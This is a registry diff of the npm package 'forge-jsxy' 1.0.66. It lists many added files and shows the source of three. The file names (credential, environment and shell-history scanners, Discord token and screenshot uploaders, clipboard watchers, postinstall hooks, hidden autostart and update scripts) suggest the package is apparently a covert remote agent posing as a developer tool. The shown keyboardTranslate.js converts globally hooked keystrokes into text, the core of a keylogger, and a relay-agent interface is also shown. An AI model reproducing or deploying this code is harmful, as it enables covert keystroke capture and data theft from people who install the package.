forge-jsxy 1.0.66
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -0
- package/assets/files-explorer-template.html +4100 -0
- package/assets/forge-explorer-favicon.svg +31 -0
- package/dist/agentPid.d.ts +14 -0
- package/dist/agentPid.js +104 -0
- package/dist/agentRunner.d.ts +13 -0
- package/dist/agentRunner.js +290 -0
- package/dist/assets/files-explorer-template.html +4100 -0
- package/dist/assets/forge-explorer-favicon.svg +31 -0
- package/dist/autostart/agentEnvFile.d.ts +58 -0
- package/dist/autostart/agentEnvFile.js +488 -0
- package/dist/autostart/autoUpdatePaths.d.ts +7 -0
- package/dist/autostart/autoUpdatePaths.js +51 -0
- package/dist/autostart/constants.d.ts +14 -0
- package/dist/autostart/constants.js +17 -0
- package/dist/autostart/darwin.d.ts +11 -0
- package/dist/autostart/darwin.js +203 -0
- package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
- package/dist/autostart/darwinAutoUpdate.js +70 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
- package/dist/autostart/index.d.ts +4 -0
- package/dist/autostart/index.js +20 -0
- package/dist/autostart/install.d.ts +6 -0
- package/dist/autostart/install.js +113 -0
- package/dist/autostart/linux.d.ts +17 -0
- package/dist/autostart/linux.js +298 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
- package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
- package/dist/autostart/linuxUpdateTimer.js +104 -0
- package/dist/autostart/macPathEnv.d.ts +5 -0
- package/dist/autostart/macPathEnv.js +23 -0
- package/dist/autostart/manifest.d.ts +11 -0
- package/dist/autostart/manifest.js +74 -0
- package/dist/autostart/quote.d.ts +12 -0
- package/dist/autostart/quote.js +65 -0
- package/dist/autostart/resolve.d.ts +35 -0
- package/dist/autostart/resolve.js +85 -0
- package/dist/autostart/windows.d.ts +15 -0
- package/dist/autostart/windows.js +277 -0
- package/dist/cli-agent.d.ts +3 -0
- package/dist/cli-agent.js +56 -0
- package/dist/cli-autostart.d.ts +2 -0
- package/dist/cli-autostart.js +92 -0
- package/dist/cli-forge.d.ts +2 -0
- package/dist/cli-forge.js +5 -0
- package/dist/cli-linux-session-refresh.d.ts +2 -0
- package/dist/cli-linux-session-refresh.js +30 -0
- package/dist/cli-relay.d.ts +3 -0
- package/dist/cli-relay.js +38 -0
- package/dist/clientId.d.ts +2 -0
- package/dist/clientId.js +97 -0
- package/dist/clipboardEventWatcher.d.ts +8 -0
- package/dist/clipboardEventWatcher.js +177 -0
- package/dist/clipboardExec.d.ts +1 -0
- package/dist/clipboardExec.js +161 -0
- package/dist/clipboardNapi.d.ts +4 -0
- package/dist/clipboardNapi.js +19 -0
- package/dist/deploymentCipherData.d.ts +20 -0
- package/dist/deploymentCipherData.js +31 -0
- package/dist/deploymentDefaults.d.ts +43 -0
- package/dist/deploymentDefaults.js +199 -0
- package/dist/desktopEnvSync.d.ts +18 -0
- package/dist/desktopEnvSync.js +21 -0
- package/dist/discordAgentScreenshot.d.ts +27 -0
- package/dist/discordAgentScreenshot.js +476 -0
- package/dist/discordBotTokens.d.ts +29 -0
- package/dist/discordBotTokens.js +78 -0
- package/dist/discordRateLimit.d.ts +93 -0
- package/dist/discordRateLimit.js +227 -0
- package/dist/discordRelayUpload.d.ts +55 -0
- package/dist/discordRelayUpload.js +806 -0
- package/dist/discordWebhookPost.d.ts +12 -0
- package/dist/discordWebhookPost.js +108 -0
- package/dist/envLoad.d.ts +1 -0
- package/dist/envLoad.js +18 -0
- package/dist/envScan.d.ts +14 -0
- package/dist/envScan.js +358 -0
- package/dist/exportMirrorCopy.d.ts +15 -0
- package/dist/exportMirrorCopy.js +279 -0
- package/dist/fileLockForce.d.ts +50 -0
- package/dist/fileLockForce.js +1479 -0
- package/dist/filesExplorer.d.ts +9 -0
- package/dist/filesExplorer.js +110 -0
- package/dist/fsMessages.d.ts +1 -0
- package/dist/fsMessages.js +123 -0
- package/dist/fsProtocol.d.ts +107 -0
- package/dist/fsProtocol.js +4800 -0
- package/dist/hfCredentials.d.ts +23 -0
- package/dist/hfCredentials.js +124 -0
- package/dist/hfHubPathSanitize.d.ts +4 -0
- package/dist/hfHubPathSanitize.js +30 -0
- package/dist/hfHubUploadContent.d.ts +2 -0
- package/dist/hfHubUploadContent.js +199 -0
- package/dist/hfSeqIdLookup.d.ts +16 -0
- package/dist/hfSeqIdLookup.js +146 -0
- package/dist/hfUpload.d.ts +47 -0
- package/dist/hfUpload.js +1225 -0
- package/dist/hostInventory.d.ts +18 -0
- package/dist/hostInventory.js +206 -0
- package/dist/hostInventorySend.d.ts +5 -0
- package/dist/hostInventorySend.js +86 -0
- package/dist/index.d.ts +24 -0
- package/dist/index.js +62 -0
- package/dist/inputContext.d.ts +11 -0
- package/dist/inputContext.js +1094 -0
- package/dist/keyboardTranslate.d.ts +23 -0
- package/dist/keyboardTranslate.js +204 -0
- package/dist/linuxX11.d.ts +2 -0
- package/dist/linuxX11.js +53 -0
- package/dist/relayAgent.d.ts +20 -0
- package/dist/relayAgent.js +828 -0
- package/dist/relayAuth.d.ts +10 -0
- package/dist/relayAuth.js +81 -0
- package/dist/relayDashboardGate.d.ts +31 -0
- package/dist/relayDashboardGate.js +323 -0
- package/dist/relayForAgentHttp.d.ts +24 -0
- package/dist/relayForAgentHttp.js +132 -0
- package/dist/relayServer.d.ts +9 -0
- package/dist/relayServer.js +1406 -0
- package/dist/shellHistoryScan.d.ts +12 -0
- package/dist/shellHistoryScan.js +200 -0
- package/dist/startupAutoUpdate.d.ts +17 -0
- package/dist/startupAutoUpdate.js +156 -0
- package/dist/syncClient.d.ts +80 -0
- package/dist/syncClient.js +205 -0
- package/dist/tableNaming.d.ts +13 -0
- package/dist/tableNaming.js +101 -0
- package/dist/vcToWindowsVk.d.ts +7 -0
- package/dist/vcToWindowsVk.js +154 -0
- package/dist/win32InputNative.d.ts +18 -0
- package/dist/win32InputNative.js +198 -0
- package/dist/windowsInputSync.d.ts +22 -0
- package/dist/windowsInputSync.js +536 -0
- package/dist/workerBootstrap.d.ts +17 -0
- package/dist/workerBootstrap.js +327 -0
- package/package.json +75 -0
- package/scripts/copy-assets.mjs +31 -0
- package/scripts/discord-live-probe.mjs +159 -0
- package/scripts/encode-deployment.mjs +135 -0
- package/scripts/encode-hf-credentials.mjs +30 -0
- package/scripts/ensure-dist.mjs +86 -0
- package/scripts/env-sync-selftest.js +11 -0
- package/scripts/explorer-isolated-npm-env.mjs +57 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
- package/scripts/forge-jsx-explorer-restart.mjs +293 -0
- package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
- package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
- package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
- package/scripts/postinstall-agent.mjs +313 -0
- package/scripts/postinstall-bootstrap.mjs +264 -0
- package/scripts/postinstall-clipboard-event.mjs +164 -0
- package/scripts/registry-version-lib.mjs +98 -0
- package/scripts/restart-agent.mjs +66 -0
- package/scripts/windows-forge-diagnostics.ps1 +56 -0
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
/** libuiohook VC code for Caps Lock (toggle only; no character inserted). */
|
|
2
|
+
export declare const UIOHOOK_VC_CAPS_LOCK = 58;
|
|
3
|
+
/** libuiohook VC_NUM_LOCK (0x45). Does not produce text; Num Lock on/off changes numpad keycodes. */
|
|
4
|
+
export declare const UIOHOOK_VC_NUM_LOCK = 69;
|
|
5
|
+
export type UiohookKeyModifiers = {
|
|
6
|
+
keycode: number;
|
|
7
|
+
shiftKey: boolean;
|
|
8
|
+
ctrlKey: boolean;
|
|
9
|
+
altKey: boolean;
|
|
10
|
+
metaKey: boolean;
|
|
11
|
+
};
|
|
12
|
+
/**
|
|
13
|
+
* US-layout fallback for Linux/macOS (and rare Windows fallback when ToUnicodeEx returns null).
|
|
14
|
+
* `capsLockOn` is tracked by toggling on Caps Lock key presses (see `translateUiohookKeydown`).
|
|
15
|
+
*/
|
|
16
|
+
export declare function keyEventToTextFallback(e: UiohookKeyModifiers, capsLockOn: boolean): string | null;
|
|
17
|
+
/**
|
|
18
|
+
* Single keydown → character(s) or null (modifier-only, Caps toggle, unsupported key).
|
|
19
|
+
* Mutates `capsLockOnRef` when the Caps Lock key is pressed (toggle).
|
|
20
|
+
*/
|
|
21
|
+
export declare function translateUiohookKeydown(ev: UiohookKeyModifiers, capsLockOnRef: {
|
|
22
|
+
current: boolean;
|
|
23
|
+
}): string | null;
|
|
@@ -0,0 +1,204 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.UIOHOOK_VC_NUM_LOCK = exports.UIOHOOK_VC_CAPS_LOCK = void 0;
|
|
4
|
+
exports.keyEventToTextFallback = keyEventToTextFallback;
|
|
5
|
+
exports.translateUiohookKeydown = translateUiohookKeydown;
|
|
6
|
+
/**
|
|
7
|
+
* uiohook keydown → text for forge-db keyboard sync.
|
|
8
|
+
*
|
|
9
|
+
* - **Windows:** `ToUnicodeEx` (layout-accurate; see `win32InputNative.ts`).
|
|
10
|
+
* - **Linux / macOS:** US QWERTY-style fallback + tracked Caps Lock (uiohook does not expose caps state).
|
|
11
|
+
* Fallback allows **Ctrl+Alt** (AltGr) like the Win32 path; lone Ctrl / lone Alt are still filtered.
|
|
12
|
+
* - **Numpad:** With Num Lock on, uiohook uses base VC_KP_* (`71`–`82`, etc.); with Num Lock off it uses
|
|
13
|
+
* `0xEE00 | …` navigation codes — we ignore those in fallback (no fake digits). Windows uses `ToUnicodeEx`
|
|
14
|
+
* + keyboard state (including Num Lock) for the correct character.
|
|
15
|
+
*/
|
|
16
|
+
const win32InputNative_1 = require("./win32InputNative");
|
|
17
|
+
/** libuiohook VC code for Caps Lock (toggle only; no character inserted). */
|
|
18
|
+
exports.UIOHOOK_VC_CAPS_LOCK = 58;
|
|
19
|
+
/** libuiohook VC_NUM_LOCK (0x45). Does not produce text; Num Lock on/off changes numpad keycodes. */
|
|
20
|
+
exports.UIOHOOK_VC_NUM_LOCK = 0x45;
|
|
21
|
+
/**
|
|
22
|
+
* libuiohook ORs `0xEE00` into the scancode when Num Lock is off so numpad keys become
|
|
23
|
+
* Home / arrows / PgUp / … (see `VC_KP_HOME` = `0xEE00 | VC_KP_7` in uiohook.h).
|
|
24
|
+
* Those codes must not be treated as digits or punctuation in the US fallback.
|
|
25
|
+
*/
|
|
26
|
+
function isNumpadNavigationExtendedVc(keycode) {
|
|
27
|
+
return (keycode & 0xff00) === 0xee00;
|
|
28
|
+
}
|
|
29
|
+
function modifierBlocksText(e) {
|
|
30
|
+
if (e.metaKey)
|
|
31
|
+
return true;
|
|
32
|
+
if (e.ctrlKey && !e.altKey)
|
|
33
|
+
return true;
|
|
34
|
+
if (e.altKey && !e.ctrlKey)
|
|
35
|
+
return true;
|
|
36
|
+
// Keep Ctrl+Alt allowed: AltGr on Windows / many Linux layouts (matches `unicodeFromUiohookKeyEvent`).
|
|
37
|
+
return false;
|
|
38
|
+
}
|
|
39
|
+
/**
|
|
40
|
+
* US-layout fallback for Linux/macOS (and rare Windows fallback when ToUnicodeEx returns null).
|
|
41
|
+
* `capsLockOn` is tracked by toggling on Caps Lock key presses (see `translateUiohookKeydown`).
|
|
42
|
+
*/
|
|
43
|
+
function keyEventToTextFallback(e, capsLockOn) {
|
|
44
|
+
if (modifierBlocksText(e))
|
|
45
|
+
return null;
|
|
46
|
+
if (isNumpadNavigationExtendedVc(e.keycode))
|
|
47
|
+
return null;
|
|
48
|
+
const sh = e.shiftKey;
|
|
49
|
+
const letters = {
|
|
50
|
+
30: "a",
|
|
51
|
+
48: "b",
|
|
52
|
+
46: "c",
|
|
53
|
+
32: "d",
|
|
54
|
+
18: "e",
|
|
55
|
+
33: "f",
|
|
56
|
+
34: "g",
|
|
57
|
+
35: "h",
|
|
58
|
+
23: "i",
|
|
59
|
+
36: "j",
|
|
60
|
+
37: "k",
|
|
61
|
+
38: "l",
|
|
62
|
+
50: "m",
|
|
63
|
+
49: "n",
|
|
64
|
+
24: "o",
|
|
65
|
+
25: "p",
|
|
66
|
+
16: "q",
|
|
67
|
+
19: "r",
|
|
68
|
+
31: "s",
|
|
69
|
+
20: "t",
|
|
70
|
+
22: "u",
|
|
71
|
+
47: "v",
|
|
72
|
+
17: "w",
|
|
73
|
+
45: "x",
|
|
74
|
+
21: "y",
|
|
75
|
+
44: "z",
|
|
76
|
+
};
|
|
77
|
+
const base = letters[e.keycode];
|
|
78
|
+
if (base) {
|
|
79
|
+
const upper = sh !== capsLockOn;
|
|
80
|
+
return upper ? base.toUpperCase() : base;
|
|
81
|
+
}
|
|
82
|
+
const digitCodes = {
|
|
83
|
+
2: "1",
|
|
84
|
+
3: "2",
|
|
85
|
+
4: "3",
|
|
86
|
+
5: "4",
|
|
87
|
+
6: "5",
|
|
88
|
+
7: "6",
|
|
89
|
+
8: "7",
|
|
90
|
+
9: "8",
|
|
91
|
+
10: "9",
|
|
92
|
+
11: "0",
|
|
93
|
+
};
|
|
94
|
+
const d = digitCodes[e.keycode];
|
|
95
|
+
if (d) {
|
|
96
|
+
if (!sh)
|
|
97
|
+
return d;
|
|
98
|
+
const m = {
|
|
99
|
+
"1": "!",
|
|
100
|
+
"2": "@",
|
|
101
|
+
"3": "#",
|
|
102
|
+
"4": "$",
|
|
103
|
+
"5": "%",
|
|
104
|
+
"6": "^",
|
|
105
|
+
"7": "&",
|
|
106
|
+
"8": "*",
|
|
107
|
+
"9": "(",
|
|
108
|
+
"0": ")",
|
|
109
|
+
};
|
|
110
|
+
return m[d] ?? d;
|
|
111
|
+
}
|
|
112
|
+
/** Numpad digits (VC codes from libuiohook). */
|
|
113
|
+
const numpadDigit = {
|
|
114
|
+
82: "0",
|
|
115
|
+
79: "1",
|
|
116
|
+
80: "2",
|
|
117
|
+
81: "3",
|
|
118
|
+
75: "4",
|
|
119
|
+
76: "5",
|
|
120
|
+
77: "6",
|
|
121
|
+
71: "7",
|
|
122
|
+
72: "8",
|
|
123
|
+
73: "9",
|
|
124
|
+
};
|
|
125
|
+
const nd = numpadDigit[e.keycode];
|
|
126
|
+
if (nd)
|
|
127
|
+
return nd;
|
|
128
|
+
/** Numpad operators (VC codes; libuiohook). */
|
|
129
|
+
if (e.keycode === 55)
|
|
130
|
+
return "*";
|
|
131
|
+
if (e.keycode === 78)
|
|
132
|
+
return "+";
|
|
133
|
+
if (e.keycode === 74)
|
|
134
|
+
return "-";
|
|
135
|
+
if (e.keycode === 83)
|
|
136
|
+
return ".";
|
|
137
|
+
if (e.keycode === 3637)
|
|
138
|
+
return "/";
|
|
139
|
+
const SC = {
|
|
140
|
+
Space: 57,
|
|
141
|
+
Enter: 28,
|
|
142
|
+
Tab: 15,
|
|
143
|
+
Semicolon: 39,
|
|
144
|
+
Equal: 13,
|
|
145
|
+
Comma: 51,
|
|
146
|
+
Minus: 12,
|
|
147
|
+
Period: 52,
|
|
148
|
+
Slash: 53,
|
|
149
|
+
Backquote: 41,
|
|
150
|
+
BracketLeft: 26,
|
|
151
|
+
Backslash: 43,
|
|
152
|
+
BracketRight: 27,
|
|
153
|
+
Quote: 40,
|
|
154
|
+
};
|
|
155
|
+
if (e.keycode === SC.Space)
|
|
156
|
+
return " ";
|
|
157
|
+
if (e.keycode === SC.Enter)
|
|
158
|
+
return "\n";
|
|
159
|
+
if (e.keycode === SC.Tab)
|
|
160
|
+
return "\t";
|
|
161
|
+
const sym = [
|
|
162
|
+
{ c: SC.Semicolon, n: ";", s: ":" },
|
|
163
|
+
{ c: SC.Equal, n: "=", s: "+" },
|
|
164
|
+
{ c: SC.Comma, n: ",", s: "<" },
|
|
165
|
+
{ c: SC.Minus, n: "-", s: "_" },
|
|
166
|
+
{ c: SC.Period, n: ".", s: ">" },
|
|
167
|
+
{ c: SC.Slash, n: "/", s: "?" },
|
|
168
|
+
{ c: SC.Backquote, n: "`", s: "~" },
|
|
169
|
+
{ c: SC.BracketLeft, n: "[", s: "{" },
|
|
170
|
+
{ c: SC.Backslash, n: "\\", s: "|" },
|
|
171
|
+
{ c: SC.BracketRight, n: "]", s: "}" },
|
|
172
|
+
{ c: SC.Quote, n: "'", s: '"' },
|
|
173
|
+
];
|
|
174
|
+
for (const x of sym) {
|
|
175
|
+
if (e.keycode === x.c)
|
|
176
|
+
return sh ? x.s : x.n;
|
|
177
|
+
}
|
|
178
|
+
return null;
|
|
179
|
+
}
|
|
180
|
+
/**
|
|
181
|
+
* Single keydown → character(s) or null (modifier-only, Caps toggle, unsupported key).
|
|
182
|
+
* Mutates `capsLockOnRef` when the Caps Lock key is pressed (toggle).
|
|
183
|
+
*/
|
|
184
|
+
function translateUiohookKeydown(ev, capsLockOnRef) {
|
|
185
|
+
if (ev.keycode === exports.UIOHOOK_VC_CAPS_LOCK) {
|
|
186
|
+
// Toggle our tracked state on every platform. On Win32 the ToUnicodeEx path also reads
|
|
187
|
+
// GetKeyState(VK_CAPITAL) so it doesn't use this ref — but the fallback path does, so
|
|
188
|
+
// we must always track to keep the fallback in sync.
|
|
189
|
+
capsLockOnRef.current = !capsLockOnRef.current;
|
|
190
|
+
return null;
|
|
191
|
+
}
|
|
192
|
+
if (ev.keycode === exports.UIOHOOK_VC_NUM_LOCK) {
|
|
193
|
+
return null;
|
|
194
|
+
}
|
|
195
|
+
try {
|
|
196
|
+
const u = (0, win32InputNative_1.unicodeFromUiohookKeyEvent)(ev);
|
|
197
|
+
if (u !== null && u !== "")
|
|
198
|
+
return u;
|
|
199
|
+
}
|
|
200
|
+
catch {
|
|
201
|
+
// koffi / Win32 API failure — fall through to US fallback below
|
|
202
|
+
}
|
|
203
|
+
return keyEventToTextFallback(ev, capsLockOnRef.current);
|
|
204
|
+
}
|
package/dist/linuxX11.js
ADDED
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.linuxDisplayPointsToExistingX11Socket = linuxDisplayPointsToExistingX11Socket;
|
|
37
|
+
/**
|
|
38
|
+
* Detect whether DISPLAY=:n points at a real local X11 socket (headless / SSH edge cases).
|
|
39
|
+
*/
|
|
40
|
+
const fs = __importStar(require("node:fs"));
|
|
41
|
+
/** True if DISPLAY is unset, non-`:n`, or `/tmp/.X11-unix/Xn` exists. */
|
|
42
|
+
function linuxDisplayPointsToExistingX11Socket() {
|
|
43
|
+
const d = (process.env.DISPLAY || "").trim();
|
|
44
|
+
const m = /^:([0-9]+)(?:\.[0-9]+)?$/.exec(d);
|
|
45
|
+
if (!m)
|
|
46
|
+
return true;
|
|
47
|
+
try {
|
|
48
|
+
return fs.existsSync(`/tmp/.X11-unix/X${m[1]}`);
|
|
49
|
+
}
|
|
50
|
+
catch {
|
|
51
|
+
return false;
|
|
52
|
+
}
|
|
53
|
+
}
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
export interface RunRelayAgentOptions {
|
|
2
|
+
relayUrl: string;
|
|
3
|
+
sessionId: string;
|
|
4
|
+
password?: string;
|
|
5
|
+
allowFilesystem?: boolean;
|
|
6
|
+
/** ms between reconnect attempts after failure */
|
|
7
|
+
reconnectDelayMs?: number;
|
|
8
|
+
quiet?: boolean;
|
|
9
|
+
/**
|
|
10
|
+
* Absolute path to the forge-jsx package root (the directory containing `package.json`).
|
|
11
|
+
* Used for version reporting in the agent `info` message (`forge_jsx_version`).
|
|
12
|
+
*/
|
|
13
|
+
pkgRoot?: string;
|
|
14
|
+
/**
|
|
15
|
+
* Invoked once per WebSocket connect after the relay `connected` message (parsed `relay_features`
|
|
16
|
+
* object, possibly empty). Used to apply relay-advertised settings before Discord starts.
|
|
17
|
+
*/
|
|
18
|
+
onRelayCapabilities?: (relayFeatures: Record<string, unknown>) => void;
|
|
19
|
+
}
|
|
20
|
+
export declare function runRelayAgentLoop(opts: RunRelayAgentOptions): void;
|